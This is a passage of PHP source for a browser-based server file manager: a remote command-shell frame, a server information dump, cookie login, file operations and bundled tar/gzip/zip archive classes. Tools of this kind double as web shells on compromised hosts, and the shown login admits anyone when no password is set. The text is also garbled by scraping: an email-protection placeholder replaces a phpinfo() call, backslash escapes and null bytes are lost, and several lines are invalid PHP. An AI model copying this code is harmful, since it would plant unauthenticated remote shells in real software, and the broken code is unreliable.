                echo "
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--";
                if (strlen($data_out)) echo "
                var val = '# " . html_encode($cmd_arg) . "
" . html_encode(str_replace("<", "[", str_replace(">", "]", str_replace("
", "
", str_replace("'", "\'", str_replace("\","\",$data_out))))))."';
                parent.frame1.document.data_form.data_out.value += val;
				parent.frame1.document.data_form.data_out.scrollTop = parent.frame1.document.data_form.data_out.scrollHeight;";
            echo "
                document.shell_form.cmd_arg.focus();
            //-->
            </script>
            ";
            echo "
            </table>
            </body></html>";
        break;
        default:
            html_header("
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
            //-->
            </script>");
            echo "
            <frameset rows=\"570,*\" framespacing=\"0\" frameborder=no>
                <frame src=\"".$path_info["basename"]."?action=9&shell_form=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
                <frame src=\"".$path_info["basename"]."?action=9&shell_form=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
            </frameset>
            </html>";
    }
}
function server_info(){
    if ([email protected]()) echo et('NoPhpinfo')."...";
    echo "<br><br>";
	    $a=ini_get_all();
	    $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
	    $output.="<tr><th colspan=2>ini_get_all()</td></tr>";
	    while(list($key, $value)=each($a)) {
	        list($k, $v)= each($a[$key]);
	        $output.="<tr><td align=right>$key</td><td>$v</td></tr>";
	    }
	    $output.="</table>";
	echo $output;
    echo "<br><br>";
	    $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
	    $output.="<tr><th colspan=2>\$_SERVER</td></tr>";
	    foreach ($_SERVER as $k=>$v) {
	        $output.="<tr><td align=right>$k</td><td>$v</td></tr>";
	    }
	    $output.="</table>";
	echo $output;
    echo "<br><br>";
    echo "<table border=1 cellspacing=0 cellpadding=4 align=center>";
    $safe_mode=trim(ini_get("safe_mode"));
    if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false;
    else $safe_mode=true;
    $is_windows_server = (uppercase(substr(PHP_OS, 0, 3)) === 'WIN');
    echo "<tr><td colspan=2>".php_uname();
    echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off");
    if ($is_windows_server) echo "<tr><td>sisop<td>Windows<br>";
    else echo "<tr><td>sisop<td>Linux<br>";
    echo "</table><br><br><table border=1 cellspacing=0 cellpadding=4 align=center>";
    $display_errors=ini_get("display_errors");
    $ignore_user_abort = ignore_user_abort();
    $max_execution_time = ini_get("max_execution_time");
    $upload_max_filesize = ini_get("upload_max_filesize");
    $memory_limit=ini_get("memory_limit");
    $output_buffering=ini_get("output_buffering");
    $default_socket_timeout=ini_get("default_socket_timeout");
    $allow_url_fopen = ini_get("allow_url_fopen");
    $magic_quotes_gpc = ini_get("magic_quotes_gpc");
    ignore_user_abort(true);
    ini_set("display_errors",0);
    ini_set("max_execution_time",0);
    ini_set("upload_max_filesize","10M");
    ini_set("memory_limit","20M");
    ini_set("output_buffering",0);
    ini_set("default_socket_timeout",30);
    ini_set("allow_url_fopen",1);
    ini_set("magic_quotes_gpc",0);
    echo "<tr><td> <td>Get<td>Set<td>Get";
    echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors");
    echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off");
    echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time");
    echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize");
    echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit");
    echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering");
    echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout");
    echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen");
    echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc");
    echo "</table><br><br>";
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
        window.focus();
    //-->
    </script>";
    echo "</body>
</html>";
}
// +--------------------------------------------------
// | Session
// +--------------------------------------------------
function logout(){
    setcookie("loggedon",0,0,"/");
    login_form();
}
function login(){
    global $pass,$auth_pass,$path_info;
    if (md5(trim($pass)) == $auth_pass){
        setcookie("loggedon",$auth_pass,0,"/");
        header ("Location: ".$path_info["basename"]."");
    } else header ("Location: ".$path_info["basename"]."?erro=1");
}
function login_form(){
    global $erro,$auth_pass,$path_info;
    html_header();
    echo "<body onLoad=\"if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\">
";
    if ($auth_pass != md5("")){
        echo "
        <table border=0 cellspacing=0 cellpadding=5>
            <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
            <tr>
            <td><b>".et('FileMan')."</b>
            </tr>
            <tr>
            <td align=left><font size=4>".et('TypePass').".</font>
            </tr>
            <tr>
            <td><input name=pass type=password size=10> <input type=submit value=\"".et('Send')."\">
            </tr>
        ";
        if (strlen($erro)) echo "
            <tr>
            <td align=left><font color=red size=4>".et('InvPass').".</font>
            </tr>
        ";
        echo "
            </form>
        </table>
             <script language=\"Javascript\" type=\"text/javascript\">
             <!--
             document.login_form.pass.focus();
             //-->
             </script>
        ";
    } else {
        echo "
        <table border=0 cellspacing=0 cellpadding=5>
            <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
            <input type=hidden name=frame value=3>
            <input type=password name=pass >
            <tr>
            <td><b>".et('FileMan')."</b>
            </tr>
            <tr>
            <td><input type=submit value=\"".et('Enter')."\">
            </tr>
            </form>
        </table>
        ";
    }
    echo "</body>
</html>";
}
function frame3(){
    global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time;
    global $dir_dest,$current_dir,$dir_before;
    global $selected_file_list,$selected_dir_list,$old_name,$new_name;
    global $action,$or_by,$order_dir_list_by;
    if (!isset($order_dir_list_by)){
        $order_dir_list_by = "1A";
        setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/");
    } elseif (strlen($or_by)){
        $order_dir_list_by = $or_by;
        setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/");
    }
    html_header();
    echo "<body>
";
    if ($action){
        switch ($action){
            case 1: // create dir
            if (strlen($cmd_arg)){
                $cmd_arg = format_path($current_dir.$cmd_arg);
                if (!file_exists($cmd_arg)){
                    @mkdir($cmd_arg,0755);
                    @chmod($cmd_arg,0755);
                    reloadframe("parent",2,"&ec_dir=".$cmd_arg);
                } else alert(et('FileDirExists').".");
            }
            break;
            case 2: // create arq
            if (strlen($cmd_arg)){
                $cmd_arg = $current_dir.$cmd_arg;
                if (!file_exists($cmd_arg)){
                    if ($fh = @fopen($cmd_arg, "w")){
                        @fclose($fh);
                    }
                    @chmod($cmd_arg,0644);
                } else alert(et('FileDirExists').".");
            }
            break;
            case 3: // rename arq ou dir
            if ((strlen($old_name))&&(strlen($new_name))){
                rename($current_dir.$old_name,$current_dir.$new_name);
                if (is_dir($current_dir.$new_name)) reloadframe("parent",2);
            }
            break;
            case 4: // delete sel
            if(strstr($current_dir,$fm_current_root)){
                if (strlen($selected_file_list)){
                    $selected_file_list = explode("<|*|>",$selected_file_list);
                    if (count($selected_file_list)) {
                        for($x=0;$x<count($selected_file_list);$x++) {
                            $selected_file_list[$x] = trim($selected_file_list[$x]);
                            if (strlen($selected_file_list[$x])) total_delete($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                        }
                    }
                }
                if (strlen($selected_dir_list)){
                    $selected_dir_list = explode("<|*|>",$selected_dir_list);
                    if (count($selected_dir_list)) {
                        for($x=0;$x<count($selected_dir_list);$x++) {
                            $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                            if (strlen($selected_dir_list[$x])) total_delete($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                        }
                        reloadframe("parent",2);
                    }
                }
            }
            break;
            case 5: // copy sel
            if (strlen($dir_dest)){
                if(uppercase($dir_dest) != uppercase($current_dir)){
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode("<|*|>",$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x<count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) total_copy($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode("<|*|>",$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x<count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) total_copy($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                            }
                            reloadframe("parent",2);
                        }
                    }
                    $current_dir = $dir_dest;
                }
            }
            break;
            case 6: // move sel
            if (strlen($dir_dest)){
                if(uppercase($dir_dest) != uppercase($current_dir)){
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode("<|*|>",$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x<count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) total_move($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode("<|*|>",$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x<count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) total_move($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                            }
                            reloadframe("parent",2);
                        }
                    }
                    $current_dir = $dir_dest;
                }
            }
            break;
            case 71: // compress sel
            if (strlen($cmd_arg)){
                ignore_user_abort(true);
                ini_set("display_errors",0);
                ini_set("max_execution_time",0);
                $zipfile=false;
                if (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
                elseif (strstr($cmd_arg,".zip")) $zipfile = new zip_file($cmd_arg);
                elseif (strstr($cmd_arg,".bzip")) $zipfile = new bzip_file($cmd_arg);
                elseif (strstr($cmd_arg,".gzip")) $zipfile = new gzip_file($cmd_arg);
                if ($zipfile){
                    $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1,'level'=>3));
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode("<|*|>",$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x<count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) $zipfile->add_files($selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode("<|*|>",$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x<count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) $zipfile->add_files($selected_dir_list[$x]);
                            }
                        }
                    }
                    $zipfile->create_archive();
                }
                unset($zipfile);
            }
            break;
            case 72: // decompress arq
            if (strlen($cmd_arg)){
                if (file_exists($current_dir.$cmd_arg)){
                    $zipfile=false;
                    if (strstr($cmd_arg,".zip")) zip_extract();
                    elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg);
                    elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg);
                    elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
                    if ($zipfile){
                        $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1));
                        $zipfile->extract_files();
                    }
                    unset($zipfile);
                    reloadframe("parent",2);
                }
            }
            break;
            case 8: // delete arq/dir
            if (strlen($cmd_arg)){
                if (file_exists($current_dir.$cmd_arg)) total_delete($current_dir.$cmd_arg);
                if (is_dir($current_dir.$cmd_arg)) reloadframe("parent",2);
            }
            break;
            case 9: // CHMOD
            if((strlen($chmod_arg) == 4)&&(strlen($current_dir))){
                if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;
                else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);
                $new_mod = octdec($chmod_arg);
                if (strlen($selected_file_list)){
                    $selected_file_list = explode("<|*|>",$selected_file_list);
                    if (count($selected_file_list)) {
                        for($x=0;$x<count($selected_file_list);$x++) {
                            $selected_file_list[$x] = trim($selected_file_list[$x]);
                            if (strlen($selected_file_list[$x])) @chmod($current_dir.$selected_file_list[$x],$new_mod);
                        }
                    }
                }
                if (strlen($selected_dir_list)){
                    $selected_dir_list = explode("<|*|>",$selected_dir_list);
                    if (count($selected_dir_list)) {
                        for($x=0;$x<count($selected_dir_list);$x++) {
                            $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                            if (strlen($selected_dir_list[$x])) @chmod($current_dir.$selected_dir_list[$x],$new_mod);
                        }
                    }
                }
            }
            break;
        }
        if ($action != 10) dir_list_form();
    } else dir_list_form();
    echo "</body>
</html>";
}
function frame2(){
    global $expanded_dir_list,$ec_dir;
    if (!isset($expanded_dir_list)) $expanded_dir_list = "";
    if (strlen($ec_dir)){
        if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list);
        else $expanded_dir_list .= ":".$ec_dir;
        setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/");
    }
    show_tree();
}
function frameset(){
    global $path_info,$leftFrameWidth;
    if (!isset($leftFrameWidth)) $leftFrameWidth = 300;
    html_header();
    echo "
    <frameset cols=\"".$leftFrameWidth.",*\" framespacing=\"0\">
        <frameset rows=\"0,*\" framespacing=\"0\" frameborder=\"0\">
            <frame src=\"".$path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\">
            <frame src=\"".$path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
        </frameset>
        <frame src=\"".$path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
    </frameset>
    </html>";
}
// +--------------------------------------------------
// | Open Source Contributions
// +--------------------------------------------------
 /*-------------------------------------------------
 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
 | By Devin Doucette
 | Copyright (c) 2004 Devin Doucette
 | Email: [email protected]
 +--------------------------------------------------
 | Email bugs/suggestions to [email protected]
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------
 | Limitations:
 | - Only USTAR archives are officially supported for extraction, but others may work.
 | - Extraction of bzip2 and gzip archives is limited to compatible tar files that have
 | been compressed by either bzip2 or gzip.  For greater support, use the functions
 | bzopen and gzopen respectively for bzip2 and gzip extraction.
 | - Zip extraction is not supported due to the wide variety of algorithms that may be
 | used for compression and newer features such as encryption.
 +--------------------------------------------------
 */
class archive
{
    function archive($name)
    {
        $this->options = array(
            'basedir'=>".",
            'name'=>$name,
            'prepend'=>"",
            'inmemory'=>0,
            'overwrite'=>0,
            'recurse'=>1,
            'storepaths'=>1,
            'level'=>3,
            'method'=>1,
            'sfx'=>"",
            'type'=>"",
            'comment'=>""
        );
        $this->files = array();
        $this->exclude = array();
        $this->storeonly = array();
        $this->error = array();
    }

    function set_options($options)
    {
        foreach($options as $key => $value)
        {
            $this->options[$key] = $value;
        }
        if(!empty($this->options['basedir']))
        {
            $this->options['basedir'] = str_replace("\","/",$this->options['basedir']);
            $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']);
            $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']);
        }
        if(!empty($this->options['name']))
        {
            $this->options['name'] = str_replace("\","/",$this->options['name']);
            $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']);
        }
        if(!empty($this->options['prepend']))
        {
            $this->options['prepend'] = str_replace("\","/",$this->options['prepend']);
            $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']);
            $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']);
            $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/";
        }
    }

    function create_archive()
    {
        $this->make_list();

        if($this->options['inmemory'] == 0)
        {
            $Pwd = getcwd();
            chdir($this->options['basedir']);
            if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : "")))
            {
                $this->error[] = "File {$this->options['name']} already exists.";
                chdir($Pwd);
                return 0;
            }
            else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+"))
            {
                chdir($Pwd);
            }
            else
            {
                $this->error[] = "Could not open {$this->options['name']} for writing.";
                chdir($Pwd);
                return 0;
            }
        }
        else
        {
            $this->archive = "";
        }

        switch($this->options['type'])
        {
        case "zip":
            if(!$this->create_zip())
            {
                $this->error[] = "Could not create zip file.";
                return 0;
            }
            break;
        case "bzip":
            if(!$this->create_tar())
            {
                $this->error[] = "Could not create tar file.";
                return 0;
            }
            if(!$this->create_bzip())
            {
                $this->error[] = "Could not create bzip2 file.";
                return 0;
            }
            break;
        case "gzip":
            if(!$this->create_tar())
            {
                $this->error[] = "Could not create tar file.";
                return 0;
            }
            if(!$this->create_gzip())
            {
                $this->error[] = "Could not create gzip file.";
                return 0;
            }
            break;
        case "tar":
            if(!$this->create_tar())
            {
                $this->error[] = "Could not create tar file.";
                return 0;
            }
        }

        if($this->options['inmemory'] == 0)
        {
            fclose($this->archive);
            @chmod($this->options['name'],0644);
            if($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
            {
                unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
            }
        }
    }

    function add_data($data)
    {
        if($this->options['inmemory'] == 0)
        {
            fwrite($this->archive,$data);
        }
        else
        {
            $this->archive .= $data;
        }
    }

    function make_list()
    {
        if(!empty($this->exclude))
        {
            foreach($this->files as $key => $value)
            {
                foreach($this->exclude as $current)
                {
                    if($value['name'] == $current['name'])
                    {
                        unset($this->files[$key]);
                    }
                }
            }
        }
        if(!empty($this->storeonly))
        {
            foreach($this->files as $key => $value)
            {
                foreach($this->storeonly as $current)
                {
                    if($value['name'] == $current['name'])
                    {
                        $this->files[$key]['method'] = 0;
                    }
                }
            }
        }
        unset($this->exclude,$this->storeonly);
    }


    function add_files($list)
    {
        $temp = $this->list_files($list);
        foreach($temp as $current)
        {
            $this->files[] = $current;
        }
    }

    function exclude_files($list)
    {
        $temp = $this->list_files($list);
        foreach($temp as $current)
        {
            $this->exclude[] = $current;
        }
    }

    function store_files($list)
    {
        $temp = $this->list_files($list);
        foreach($temp as $current)
        {
            $this->storeonly[] = $current;
        }
    }

    function list_files($list)
    {
        if(!is_array($list))
        {
            $temp = $list;
            $list = array($temp);
            unset($temp);
        }

        $files = array();

        $Pwd = getcwd();
        chdir($this->options['basedir']);

        foreach($list as $current)
        {
            $current = str_replace("\","/",$current);
            $current = preg_replace("/\/+/","/",$current);
            $current = preg_replace("/\/$/","",$current);
            if(strstr($current,"*"))
            {
                $regex = preg_replace("/([\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\",$current);
                $regex = str_replace("*",".*",$regex);
                $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : ".";
                $temp = $this->parse_dir($dir);
                foreach($temp as $current2)
                {
                    if(preg_match("/^{$regex}$/i",$current2['name']))
                    {
                        $files[] = $current2;
                    }
                }
                unset($regex,$dir,$temp,$current);
            }
            else if(@is_dir($current))
            {
                $temp = $this->parse_dir($current);
                foreach($temp as $file)
                {
                    $files[] = $file;
                }
                unset($temp,$file);
            }
            else if(@file_exists($current))
            {
                $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] .
                    preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))?
                    substr($current,strrpos($current,"/") + 1) : $current),'type'=>0,
                    'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current));
            }
        }

        chdir($Pwd);

        unset($current,$Pwd);

        usort($files,array("archive","sort_files"));

        return $files;
    }

    function parse_dir($dirname)
    {
        if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname))
        {
            $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] .
                preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))?
                substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname)));
        }
        else
        {
            $files = array();
        }
        $dir = @opendir($dirname);

        while($file = @readdir($dir))
        {
            if($file == "." || $file == "..")
            {
                continue;
            }
            else if(@is_dir($dirname."/".$file))
            {
                if(empty($this->options['recurse']))
                {
                    continue;
                }
                $temp = $this->parse_dir($dirname."/".$file);
                foreach($temp as $file2)
                {
                    $files[] = $file2;
                }
            }
            else if(@file_exists($dirname."/".$file))
            {
                $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] .
                    preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))?
                    substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0,
                    'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file));
            }
        }

        @closedir($dir);

        return $files;
    }

    function sort_files($a,$b)
    {
        if($a['type'] != $b['type'])
        {
            return $a['type'] > $b['type']? -1 : 1;
        }
        else if($a['type'] == 5)
        {
            return strcmp(strtolower($a['name']),strtolower($b['name']));
        }
        else
        {
            if($a['ext'] != $b['ext'])
            {
                return strcmp($a['ext'],$b['ext']);
            }
            else if($a['stat'][7] != $b['stat'][7])
            {
                return $a['stat'][7] > $b['stat'][7]? -1 : 1;
            }
            else
            {
                return strcmp(strtolower($a['name']),strtolower($b['name']));
            }
        }
        return 0;
    }

    function download_file()
    {
        if($this->options['inmemory'] == 0)
        {
            $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
            return;
        }
        switch($this->options['type'])
        {
        case "zip":
            header("Content-type:application/zip");
            break;
        case "bzip":
            header("Content-type:application/x-compressed");
            break;
        case "gzip":
            header("Content-type:application/x-compressed");
            break;
        case "tar":
            header("Content-type:application/x-tar");
        }
        $header = "Content-disposition: attachment; filename=\"";
        $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name'];
        $header .= "\"";
        header($header);
        header("Content-length: " . strlen($this->archive));
        header("Content-transfer-encoding: binary");
        header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0");
        header("Pragma: no-cache");
        header("Expires: 0");
        print($this->archive);
    }
}

class tar_file extends archive
{
    function tar_file($name)
    {
        $this->archive($name);
        $this->options['type'] = "tar";
    }

    function create_tar()
    {
        $Pwd = getcwd();
        chdir($this->options['basedir']);

        foreach($this->files as $current)
        {
            if($current['name'] == $this->options['name'])
            {
                continue;
            }
            if(strlen($current['name2']) > 99)
            {
                $Path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1);
                $current['name2'] = substr($current['name2'],strlen($Path));
                if(strlen($Path) > 154 || strlen($current['name2']) > 99)
                {
                    $this->error[] = "Could not add {$Path}{$current['name2']} to archive because the filename is too long.";
                    continue;
                }
            }
            $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]),
                sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])),
                sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])),
                "        ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($Path)? $Path : "","");

            $checksum = 0;
            for($i = 0; $i < 512; $i++)
            {
                $checksum += ord(substr($block,$i,1));
            }
            $checksum = pack("a8",sprintf("%6s ",decoct($checksum)));
            $block = substr_replace($block,$checksum,148,8);

            if($current['stat'][7] == 0)
            {
                $this->add_data($block);
            }
            else if($fp = @fopen($current['name'],"rb"))
            {
                $this->add_data($block);
                while($temp = fread($fp,1048576))
                {
                    $this->add_data($temp);
                }
                if($current['stat'][7] % 512 > 0)
                {
                    $temp = "";
                    for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
                    {
                        $temp .= "";
                    }
                    $this->add_data($temp);
                }
                fclose($fp);
            }
            else
            {
                $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
            }
        }

        $this->add_data(pack("a512",""));

        chdir($Pwd);

        return 1;

    }

    function extract_files()
    {
        $Pwd = getcwd();
        chdir($this->options['basedir']);

        if($fp = $this->open_archive())
        {
            if($this->options['inmemory'] == 1)
            {
                $this->files = array();
            }

            while($block = fread($fp,512))
            {
                $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block);
                $file = array(
                    'name'=>$temp['prefix'] . $temp['name'],
                    'stat'=>array(
                        2=>$temp['mode'],
                        4=>octdec($temp['uid']),
                        5=>octdec($temp['gid']),
                        7=>octdec($temp['size']),
                        9=>octdec($temp['mtime']),
                    ),
                    'checksum'=>octdec($temp['checksum']),
                    'type'=>$temp['type'],
                    'magic'=>$temp['magic'],
                );
                if($file['checksum'] == 0x00000000)
                {
                    break;
                }
                else if($file['magic'] != "ustar")
                {
                    $this->error[] = "This script does not support extracting this type of tar file.";
                    break;
                }
                $block = substr_replace($block,"        ",148,8);
                $checksum = 0;
                for($i = 0; $i < 512; $i++)
                {
                    $checksum += ord(substr($block,$i,1));
                }
                if($file['checksum'] != $checksum)
                {
                    $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
                }

                if($this->options['inmemory'] == 1)
                {
                    $file['data'] = fread($fp,$file['stat'][7]);
                    fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
                    unset($file['checksum'],$file['magic']);
                    $this->files[] = $file;
                }
                else
                {
                    if($file['type'] == 5)
                    {
                        if(!is_dir($file['name']))
                        {
                            mkdir($file['name'],0755);
                            //mkdir($file['name'],$file['stat'][2]);
                            //chown($file['name'],$file['stat'][4]);
                            //chgrp($file['name'],$file['stat'][5]);
                        }
                    }
                    else if($this->options['overwrite'] == 0 && file_exists($file['name']))
                    {
                        $this->error[] = "{$file['name']} already exists.";
                    }
                    else if($new = @fopen($file['name'],"wb"))
                    {
                        fwrite($new,fread($fp,$file['stat'][7]));
                        fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
                        fclose($new);
                        @chmod($file['name'],0644);
                        //chmod($file['name'],$file['stat'][2]);
                        //chown($file['name'],$file['stat'][4]);
                        //chgrp($file['name'],$file['stat'][5]);
                    }
                    else
                    {
                        $this->error[] = "Could not open {$file['name']} for writing.";
                    }
                }
                unset($file);
            }
        }
        else
        {
            $this->error[] = "Could not open file {$this->options['name']}";
        }

        chdir($Pwd);
    }

    function open_archive()
    {
        return @fopen($this->options['name'],"rb");
    }
}

class gzip_file extends tar_file
{
    function gzip_file($name)
    {
        $this->tar_file($name);
        $this->options['type'] = "gzip";
    }

    function create_gzip()
    {
        if($this->options['inmemory'] == 0)
        {
            $Pwd = getcwd();
            chdir($this->options['basedir']);
            if($fp = gzopen($this->options['name'],"wb{$this->options['level']}"))
            {
                fseek($this->archive,0);
                while($temp = fread($this->archive,1048576))
                {
                    gzwrite($fp,$temp);
                }
                gzclose($fp);
                chdir($Pwd);
            }
            else
            {
                $this->error[] = "Could not open {$this->options['name']} for writing.";
                chdir($Pwd);
                return 0;
            }
        }
        else
        {
            $this->archive = gzencode($this->archive,$this->options['level']);
        }

        return 1;
    }

    function open_archive()
    {
        return @gzopen($this->options['name'],"rb");
    }
}

class bzip_file extends tar_file
{
    function bzip_file($name)
    {
        $this->tar_file($name);
        $this->options['type'] = "bzip";
    }

    function create_bzip()
    {
        if($this->options['inmemory'] == 0)
        {
            $Pwd = getcwd();
            chdir($this->options['basedir']);
            if($fp = bzopen($this->options['name'],"wb"))
            {
                fseek($this->archive,0);
                while($temp = fread($this->archive,1048576))
                {
                    bzwrite($fp,$temp);
                }
                bzclose($fp);
                chdir($Pwd);
            }
            else
            {
                $this->error[] = "Could not open {$this->options['name']} for writing.";
                chdir($Pwd);
                return 0;
            }
        }
        else
        {
            $this->archive = bzcompress($this->archive,$this->options['level']);
        }

        return 1;
    }

    function open_archive()
    {
        return @bzopen($this->options['name'],"rb");
    }
}

class zip_file extends archive
{
    function zip_file($name)
    {
        $this->archive($name);
        $this->options['type'] = "zip";
    }

    function create_zip()
    {
        $files = 0;
        $offset = 0;
        $central = "";

        if(!empty($this->options['sfx']))
        {
            if($fp = @fopen($this->options['sfx'],"rb"))
            {
                $temp = fread($fp,filesize($this->options['sfx']));
                fclose($fp);
                $this->add_data($temp);
                $offset += strlen($temp);
                unset($temp);
            }
            else
            {
                $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
            }
        }
